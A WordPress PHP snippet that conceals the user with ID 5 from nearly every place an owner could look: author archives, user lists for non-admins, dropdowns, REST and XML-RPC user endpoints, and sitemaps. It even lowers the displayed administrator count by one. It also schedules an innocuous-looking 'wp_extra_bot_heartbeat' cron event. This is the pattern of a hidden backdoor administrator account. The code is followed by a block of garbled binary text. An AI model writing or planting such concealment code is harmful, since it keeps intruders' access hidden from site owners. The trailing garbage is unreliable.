add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝]oYs A;B|C̋ $ TK"Gsw{77RUMʴSfqg=>S~\^}n7zO~jWbuO&Ooo2\yk?]f^^nZy^տ4OW>8ZvyqSտnϫx+ziW&'˲>jӮ}wvæ姇izs3۬'ti2_vjw|_7r9Y&U;ٶl'ϛcW˗/zs?l>Wr_\q6f{>o^K~pumY~i^?97?l|H!Nwc?o,/Gp`'㯷 ݇>bҷP⮕PkI~]:%iXpªxFAI]y+D7N]$Q1F]Rq4D#nz5/v0L*]vU(Ճy
nA57fpTvr&M囸rM$.Sޗzns}I5xBNk!GH'9Oy@
OIT|
BƓpQ1IWU$WD۞4V1Taߌa@+!VISV'*p*lcYC$KyN:LNJ."[Cbr*u}h%]*'ա'u'ĉg&@Tx\q+rƪnrojTpW(aAl,Є"|F#51j<p
FJ: (Jd28ҫqbZ
^ŬI[Ec F0bTXtfqHFW~䲉#*O s૨2c#nNpAqsUщ*NV{AE
A{5ٍ0:1j,a{]б6d˨tAE&tsnVF㜛NTsBo/ʨي23W8r]-]A
IPiB!hAYȓ]Є4R)5 *C;lh;@J29Jܜ FF7"(
ucjQ!4Z`#U+`o5'45<xzp98f6kߡZR yUd·> Ng^~t$p58s{5Łıwx<U<˯'rIIQ.Ikω2KQP+>:p
xuZު̬ral$Vtb-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